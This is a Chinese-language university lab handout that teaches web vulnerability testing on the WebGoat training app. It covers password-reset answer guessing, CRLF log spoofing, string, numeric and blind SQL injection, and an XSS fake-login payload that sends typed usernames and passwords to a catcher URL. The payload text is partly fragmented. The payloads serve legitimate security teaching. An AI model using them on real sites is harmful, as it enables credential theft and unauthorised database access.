Web应用程序典型安全漏洞实验
1.实验简介
实验所属系列:实用信息安全技术 实验对象: 本科/专科信息安全专业
相关课程及专业:计算机基础,信息安全基础 实验时数(学分):2学时 实验类别:实践实验类
2.预备知识
本实验要求实验者具备如下的相关知识。
1、认证安全漏洞原理
Authentication Flaws是存在于网络设备所使用的互联网操作系统中的一种漏洞。系统中存在认证绕过漏洞,可能允许远程攻击者绕过扩展认证,非授权访问网络资源。 攻击者可以通过向系统发送畸形报文的方式完成扩展认证,非授权访问网络资源。
Forgot Password测试项原理:Web应用程序经常提供一种让他们的用户能够找回忘记的密码的机制,但通常许多Web应用程序无法正确执行这种机制,用来验证用户身份的信息往往是过于简单的。这就在某种程度上提供了一种可攻击的漏洞。 2、测试工具
WebGoat是一个用来演示Web应用程序中的典型安全漏洞的应用程序,受用在应用程序安全审计的上下文中系统、条理地讲解如何测试和利用这些安全漏洞。WebGoat是用Java语言写成的,因此可以安装到所有带有Java虚拟机的平台之上。此外,它还分别为Linux和Windows系统提供了安装程序。部署该程序后,可以使用该程序来完成多个WEB安全漏洞的训练。当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、Web服务、Open Authentication失效危险的HTML注释等等。
3.实验目的
掌握基于应用层的弱点测试手段与方法。
实验指导书规范
4.实验环境
软件环境:Windows xp 实验工具:WebGoat
5.实验内容和步骤
本实验针对网站存在的各种漏洞,使用WebGoat-5.2对这些漏洞进行攻击实验,具体实验内容如下:
1. 实验步骤一:Forgot Password与Log Spoofin实验 (1)Forgot Password
在存储目录中找到WebGoat-5.2文件夹,打开后双击打开其中的webgoat批处理文件。打开Internet Explorer浏览器,在地址栏中输入:http://localhost/WebGoat/attack,用户名:guest,口令:guest。
实验指导书规范
在打开的页面中点击“Start WebGoat”。
接下来进行Forgot Password项的攻击。
在左侧列表中找到Forgot Password一项,点击进入。
通常情况下程序员都会采用有意义的名称作为表明和字段名。一般管理员表为admin,新闻表news,留言簿guestbook或guest,文章系统表 article。因此利用一些经验和可能的猜测回答来破解系统,获取用户密码。此处我们尝试admin,然后点击“Submit”。
实验指导书规范
弹出以下页面,说明用户名存在,现在要求回答认证问题,由页面文字信息可以得知Webgoat用户的答案为red,故猜测问答的答案可能仅仅为简单的颜色。
尝试yellow,发现并没有通过。再尝试green,发现通过,得到了admin账户的密码。 获取结果
实验指导书规范
(2) Log Spoofing
这一实验方法是“日志欺骗”,然后通过提示可以发现要使用%0d%0a来换行,造成接下来的内容被视为日志,即输入,Smith %0d%0aLogin Succeeded for username: admin,结果如下所示:
实验任务一练习题:支持安全WEB服务的协议是:【单选题】A
【A】HTTPS 【B】WINS 【C】SOAP 【D】HTTP
2. 实验任务二:SQL注入实验 (1)String SQL Injection
这里从给出的SQL代码提示可以看出,这是一个select语句:SELECT * FROM user_data WHERE last_name = 'Your Name',所以尝试进行SQL注入,通过构造永真逻辑,来完成SQL注入,具体如下所示:
实验指导书规范
对应的SQL代码变为:SELECT * FROM user_data WHERE last_name = 'Smith' or '1' = '1',便会成功列举出所有信息。 (2) Numeric SQL Injection
首先还是先分析代码:SELECT * FROM weather_data WHERE station = 101,从给出的代码可以看出,这段代码依旧存在SQL注入漏洞。但是由于是一个下拉菜单,所以无法直接进行SQL注入,这里利用代理工具burp suite进行抓包修改:
实验指导书规范
这里可以看出,station代表所需要查询的值,尝试修改为1 or 1=1进行注入尝试: SQL注入结果示意
这里尝试在输入框中输入,发现会显示在网页表单下面,可以使用跨站脚本攻击:
具体需要注入的代码如下: Tomcat
Please login so that you can get more services.
Username:
Password:
onclick=\"var xssImg=new Image();xssImg.src=
实验指导书规范
'http://10.206.40.149:8080/WebGoat/catcher?PROPERTY=yes &u='+this.form.username.value+'&p='+this.form.password.value;\">
继续尝试使用burp suite:
(3) Blind SQL Injection
实验目的是获取user_data表中的first_name值,由于在表单中填写的数据可以判断用户名是否有效,根据HINT可知:利用ascii函数可以获得字符串首字符的ascii码,substr()函数可以获取字符串的字串,通过搜索userid为15613的字符串first_name值,依次取对应位置的字符,看表达式是否为真,来判断每个字符的ASCII码是什么:
实验指导书规范
通过是“Account number is valid”表示后面的等式成立,帐号存在,若为“Invalid account number”则表达式不成立,如此反复,可以获得第一个字符的ASCII码为74。以此类推,可以获得剩下字符情况如下:
将字符串“Joesph”填入,即可通关:
实验任务二练习题: SQL注入不包括:【单选题】D 【A】盲注 【B】没有正确过滤转义字符的过滤 【C】条件相应 【D】暴力破解
实验指导书规范
6.实验报告要求
对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。
7.分析与思考
针对DVWA演练平台,在SQL Injection、XSS reflected以及XSS stored三项攻击实验中任选两项实验,且要求完成所有安全级别(从低到高三级)。
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- 69lv.com 版权所有 湘ICP备2023021910号-1
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务